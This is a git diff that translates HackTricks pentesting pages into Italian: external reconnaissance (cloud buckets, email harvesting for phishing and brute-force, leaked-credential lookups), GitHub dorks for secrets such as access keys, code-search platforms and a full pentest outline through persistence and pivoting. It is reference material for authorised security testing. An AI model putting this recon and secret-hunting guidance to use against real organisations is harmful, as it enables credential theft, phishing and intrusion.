[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeballer) per esaminare tutti gli **screenshot** e dirti **cosa è probabile contenga vulnerabilità** e cosa non lo è. -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## Risorse Cloud Pubbliche -## Public Cloud Assets +Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto per un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "", <"subdomain_names">`. -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +Poi, con quelle parole dovresti generare **permutazioni** (controlla il [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) per ulteriori informazioni). -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Con le wordlist risultanti potresti usare strumenti come [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +Ricorda che quando cerchi risorse Cloud dovresti **cercare più di semplici bucket in AWS**. -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **accedervi** e cercare di vedere cosa ti offrono e se puoi abusarne. -## Emails +## Email -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +Con i **domini** e **sottodomini** all'interno dell'ambito hai fondamentalmente tutto ciò di cui hai **bisogno per iniziare a cercare email**. Queste sono le **API** e **strumenti** che hanno funzionato meglio per me per trovare email di un'azienda: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - con API +- API di [**https://hunter.io/**](https://hunter.io/) (versione gratuita) +- API di [**https://app.snov.io/**](https://app.snov.io/) (versione gratuita) +- API di [**https://minelead.io/**](https://minelead.io/) (versione gratuita) -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +Le email saranno utili in seguito per **brute-forzare accessi web e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, il che è utile per la campagna di phishing. ## Credential Leaks -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -If you find **valid leaked** credentials, this is a very easy win. +Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile. ## Secrets Leaks -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +Le perdite di credenziali sono correlate agli attacchi alle aziende in cui **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati: ### Github Leaks -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\ +Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repository pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente. -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**. #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +Controlla anche questa **pagina** per potenziali **github dorks** che potresti cercare nell'organizzazione che stai attaccando: {{#ref}} github-leaked-secrets.md @@ -654,72 +564,66 @@ github-leaked-secrets.md ### Pastes Leaks -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +A volte gli attaccanti o semplicemente i lavoratori pubblicheranno **contenuti aziendali in un sito di paste**. Questo potrebbe o meno contenere **informazioni sensibili**, ma è molto interessante cercarlo.\ +Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare in più di 80 siti di paste contemporaneamente. ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**. -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché google ti bloccherà molto molto presto._ -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +Se trovi credenziali o token API **valide trapelate**, questa è una vittoria molto facile. -## Public Code Vulnerabilities +## Vulnerabilità di Codice Pubblico -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +Se hai scoperto che l'azienda ha **codice open-source** puoi **analizzarlo** e cercare **vulnerabilità** in esso. -**Depending on the language** there are different **tools** you can use: +**A seconda del linguaggio** ci sono diversi **strumenti** che puoi usare: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +Ci sono anche servizi gratuiti che ti permettono di **scansionare repository pubblici**, come: - [**Snyk**](https://app.snyk.io/) ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/). -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflow per avere alcune informazioni web iniziali.** -## Recapitulation +## Ricapitolazione -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere eseguita molta più enumerazione (vedremo altri trucchi più avanti). -So you have already: +Quindi hai già: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. Trovato tutte le **aziende** all'interno dell'ambito +2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nell'ambito) +3. Trovato tutti i **domini** appartenenti alle aziende +4. Trovato tutti i **sottodomini** dei domini (qualche takeover di sottodominio?) +5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno dell'ambito. +6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (c'è qualcosa di strano che merita un'analisi più approfondita?) +7. Trovato tutte le **potenziali risorse cloud pubbliche** appartenenti all'azienda. +8. **Email**, **perdite di credenziali** e **perdite di segreti** che potrebbero darti una **grande vittoria molto facilmente**. +9. **Pentesting di tutti i siti web che hai trovato** -## **Full Recon Automatic Tools** +## **Strumenti Automatici di Full Recon** -There are several tools out there that will perform part of the proposed actions against a given scope. +Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte contro un dato ambito. - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un po' vecchio e non aggiornato -## **References** +## **Riferimenti** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..4b24ba629 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +Ora che abbiamo costruito l'elenco delle risorse del nostro ambito, è tempo di cercare alcuni frutti a bassa difficoltà di OSINT. -{% embed url="https://go.intigriti.com/hacktricks" %} - -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. - -### Platforms that already searched for leaks +### Piattaforme che hanno già cercato leak - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Leak di chiavi API in github - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +23,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +304,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..0d107d83c 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,18 +1,18 @@ -# Wide Source Code Search +# Ricerca Ampia del Codice Sorgente {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +L'obiettivo di questa pagina è enumerare **le piattaforme che consentono di cercare codice** (letterale o regex) in migliaia/milioni di repo su una o più piattaforme. -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +Questo aiuta in diverse occasioni a **cercare informazioni trapelate** o per **modelli di vulnerabilità**. -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): Cerca in milioni di repo. Esiste una versione gratuita e una versione enterprise (con 15 giorni gratuiti). Supporta le regex. +- [**Github Search**](https://github.com/search): Cerca su Github. Supporta le regex. +- Forse è anche utile controllare [**Github Code Search**](https://cs.github.com/). +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Cerca tra i progetti Gitlab. Supporta le regex. +- [**SearchCode**](https://searchcode.com/): Cerca codice in milioni di progetti. > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Quando cerchi perdite in un repo e esegui qualcosa come `git log -p`, non dimenticare che potrebbero esserci **altre branche con altri commit** contenenti segreti! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..280187d1e 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,146 +1,136 @@ -# Pentesting Methodology +# Metodologia di Pentesting {{#include ../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting Methodology +## Metodologia di Pentesting
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_I loghi di Hacktricks sono stati progettati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -### 0- Physical Attacks +### 0- Attacchi Fisici -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni [**trucchi sugli attacchi fisici**](../hardware-physical-access/physical-attacks.md) e altri su [**come sfuggire dalle applicazioni GUI**](../hardware-physical-access/escaping-from-gui-applications.md). -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [Scoprire host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoprire le risorse dell'azienda](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**A seconda** se il **test** che stai eseguendo è un **test interno o esterno**, potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare risorse dell'azienda su internet** (test esterno). > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> Nota che se stai eseguendo un test esterno, una volta che riesci a ottenere accesso alla rete interna dell'azienda, dovresti riavviare questa guida. -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**Divertirsi con la rete**](pentesting-network/) **(Interno)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**Questa sezione si applica solo se stai eseguendo un test interno.**\ +Prima di attaccare un host, forse preferisci **rubare alcune credenziali** **dalla rete** o **sniffare** alcuni **dati** per apprendere **passivamente/attivamente (MitM)** cosa puoi trovare all'interno della rete. Puoi leggere [**Pentesting Network**](pentesting-network/#sniffing). -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [Scansione delle porte - Scoperta dei servizi](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione** su quali porte. Vediamo i [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts). -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [Cercare exploit di versioni di servizio](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, devi **cercare vulnerabilità note**. Forse hai fortuna e c'è un exploit che ti dà una shell... -### **5-** Pentesting Services +### **5-** Servizi di Pentesting -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovresti cercare **comuni misconfigurazioni in ciascun servizio in esecuzione.** -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri che non sono così comuni)**. Per favore, cerca nell'indice a sinistra la** _**SEZIONE PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).** -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**Voglio fare una menzione speciale della** [**parte Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\ +Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](../generic-hacking/search-exploits.md) può essere trovata qui. -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono). -#### 5.1 Automatic Tools +#### 5.1 Strumenti Automatici -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglio di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sui servizi di pentesting che puoi trovare in questo libro.** -#### **5.2 Brute-Forcing services** +#### **5.2 Forzatura dei servizi** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +In alcuni scenari una **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi di brute forcing**](../generic-hacking/brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti dover provare qualche phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/): -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**Ottenere Shell**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Poi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](../generic-hacking/reverse-shells/). -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**\\ -### 8- Inside +### 8- Dentro -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei comandi più utili** per i pentester: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**Esfiltrazione**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare a questi scopi**](../generic-hacking/exfiltration.md)**.** -### **10- Privilege Escalation** +### **10- Escalation dei Privilegi** -#### **10.1- Local Privesc** +#### **10.1- Privesc Locale** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +Se non sei **root/Amministratore** all'interno della macchina, dovresti trovare un modo per **escalare i privilegi.**\ +Qui puoi trovare una **guida per escalare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +Dovresti anche controllare queste pagine su come funziona **Windows**: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**Autenticazione, Credenziali, Privilegi dei Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- Come funziona [**NTLM**](../windows-hardening/ntlm/) +- Come [**rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows +- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- Privesc di Dominio** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumerare, escalare privilegi e persistere in un Active Directory**](../windows-hardening/active-directory-methodology/). Anche se questa è solo una sottosezione di una sezione, questo processo potrebbe essere **estremamente delicato** in un incarico di Pentesting/Red Team. ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - Saccheggio -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +Controlla se riesci a trovare più **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\ +Trova qui diversi modi per [**dumpare password in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). -#### 11.2 - Persistence +#### 11.2 - Persistenza -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Usa 2 o 3 diversi tipi di meccanismi di persistenza in modo da non dover sfruttare di nuovo il sistema.**\ +**Qui puoi trovare alcuni** [**trucchi di persistenza su Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Complete persistence Post in Windows & Linux +TODO: Completare la persistenza Post in Windows & Linux ### 12 - Pivoting -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (inizia di nuovo la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\ +In questo caso il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\ +Dovresti anche controllare il post sulla [Metodologia di pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, escalare privilegi e dumpare credenziali.\ +Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare in ambienti Windows. -### MORE +### ALTRO -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Applicazioni Android](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **Sfruttamento** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Sfruttamento di base in Linux**](broken-reference/) +- [**Sfruttamento di base in Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**Python di base**](python/) -#### **Crypto tricks** +#### **Trucchi di crittografia** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
